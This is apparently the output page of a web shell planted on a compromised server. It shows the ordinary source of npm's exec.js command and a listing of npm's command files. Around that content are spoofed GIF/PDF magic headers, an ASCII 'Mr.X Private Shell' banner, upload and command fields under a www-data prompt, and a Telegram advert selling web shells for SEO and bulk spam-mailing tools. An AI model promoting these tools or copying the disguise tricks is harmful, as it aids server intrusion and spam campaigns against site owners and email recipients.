GIF89; GIF89; %PDF- %PDF- Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.129: ~ $
const { resolve } = require('node:path')
const libexec = require('libnpmexec')
const BaseCommand = require('../base-cmd.js')

class Exec extends BaseCommand {
  static description = 'Run a command from a local or remote npm package'
  static params = [
    'package',
    'call',
    'workspace',
    'workspaces',
    'include-workspace-root',
  ]

  static name = 'exec'
  static usage = [
    '-- <pkg>[@<version>] [args...]',
    '--package=<pkg>[@<version>] -- <cmd> [args...]',
    '-c \'<cmd> [args...]\'',
    '--package=foo -c \'<cmd> [args...]\'',
  ]

  static workspaces = true
  static ignoreImplicitWorkspace = false
  static isShellout = true

  async exec (args) {
    return this.callExec(args)
  }

  async execWorkspaces (args) {
    await this.setWorkspaces()

    for (const [name, path] of this.workspaces) {
      const locationMsg =
        `in workspace ${this.npm.chalk.green(name)} at location:\n${this.npm.chalk.dim(path)}`
      await this.callExec(args, { name, locationMsg, runPath: path })
    }
  }

  async callExec (args, { name, locationMsg, runPath } = {}) {
    let localBin = this.npm.localBin
    let pkgPath = this.npm.localPrefix

    // This is where libnpmexec will actually run the scripts from
    if (!runPath) {
      runPath = process.cwd()
    } else {
      // We have to consider if the workspace has its own separate versions
      // libnpmexec will walk up to localDir after looking here
      localBin = resolve(this.npm.localDir, name, 'node_modules', '.bin')
      // We also need to look for `bin` entries in the workspace package.json
      // libnpmexec will NOT look in the project root for the bin entry
      pkgPath = runPath
    }

    const call = this.npm.config.get('call')
    let globalPath
    const {
      flatOptions,
      globalBin,
      globalDir,
      chalk,
    } = this.npm
    const scriptShell = this.npm.config.get('script-shell') || undefined
    const packages = this.npm.config.get('package')
    const yes = this.npm.config.get('yes')
    // --prefix sets both of these to the same thing, meaning the global prefix
    // is invalid (i.e. no lib/node_modules).  This is not a trivial thing to
    // untangle and fix so we work around it here.
    if (this.npm.localPrefix !== this.npm.globalPrefix) {
      globalPath = resolve(globalDir, '..')
    }

    if (call && args.length) {
      throw this.usageError()
    }

    return libexec({
      ...flatOptions,
      // we explicitly set packageLockOnly to false because if it's true
      // when we try to install a missing package, we won't actually install it
      packageLockOnly: false,
      // what the user asked to run args[0] is run by default
      args: [...args], // copy args so they dont get mutated
      // specify a custom command to be run instead of args[0]
      call,
      chalk,
      // where to look for bins globally, if a file matches call or args[0] it is called
      globalBin,
      // where to look for packages globally, if a package matches call or args[0] it is called
      globalPath,
      // where to look for bins locally, if a file matches call or args[0] it is called
      localBin,
      locationMsg,
      // packages that need to be installed
      packages,
      // path where node_modules is
      path: this.npm.localPrefix,
      // where to look for package.json#bin entries first
      pkgPath,
      // cwd to run from
      runPath,
      scriptShell,
      yes,
    })
  }
}

module.exports = Exec

Filemanager

Name Type Size Permission Actions
access.js File 6.04 KB 0644
adduser.js File 1.29 KB 0644
audit.js File 3.15 KB 0644
bugs.js File 847 B 0644
cache.js File 7.12 KB 0644
ci.js File 4.22 KB 0644
completion.js File 8.9 KB 0644
config.js File 11.18 KB 0644
dedupe.js File 1.41 KB 0644
deprecate.js File 2.13 KB 0644
diff.js File 8 KB 0644
dist-tag.js File 5.52 KB 0644
docs.js File 449 B 0644
doctor.js File 10.1 KB 0644
edit.js File 1.76 KB 0644
exec.js File 3.42 KB 0644
explain.js File 3.58 KB 0644
explore.js File 2.16 KB 0644
find-dupes.js File 634 B 0644
fund.js File 6.46 KB 0644
get.js File 577 B 0644
help-search.js File 5.52 KB 0644
help.js File 3.66 KB 0644
hook.js File 3.37 KB 0644
init.js File 6.85 KB 0644
install-ci-test.js File 373 B 0644
install-test.js File 370 B 0644
install.js File 5.15 KB 0644
link.js File 5.25 KB 0644
ll.js File 234 B 0644
login.js File 1.29 KB 0644
logout.js File 1.42 KB 0644
ls.js File 16.81 KB 0644
org.js File 4.02 KB 0644
outdated.js File 7.7 KB 0644
owner.js File 5.85 KB 0644
pack.js File 2.6 KB 0644
ping.js File 873 B 0644
pkg.js File 3.56 KB 0644
prefix.js File 335 B 0644
profile.js File 10.57 KB 0644
prune.js File 799 B 0644
publish.js File 7.38 KB 0644
query.js File 3.51 KB 0644
rebuild.js File 2.19 KB 0644
repo.js File 1.25 KB 0644
restart.js File 310 B 0644
root.js File 295 B 0644
run-script.js File 6.08 KB 0644
sbom.js File 4.51 KB 0644
search.js File 1.83 KB 0644
set.js File 671 B 0644
shrinkwrap.js File 2.65 KB 0644
star.js File 1.87 KB 0644
stars.js File 1.03 KB 0644
start.js File 300 B 0644
stop.js File 295 B 0644
team.js File 4.36 KB 0644
test.js File 295 B 0644
token.js File 6.02 KB 0644
uninstall.js File 1.52 KB 0644
unpublish.js File 5.27 KB 0644
unstar.js File 183 B 0644
update.js File 1.72 KB 0644
version.js File 3.54 KB 0644
view.js File 12.8 KB 0644
whoami.js File 527 B 0644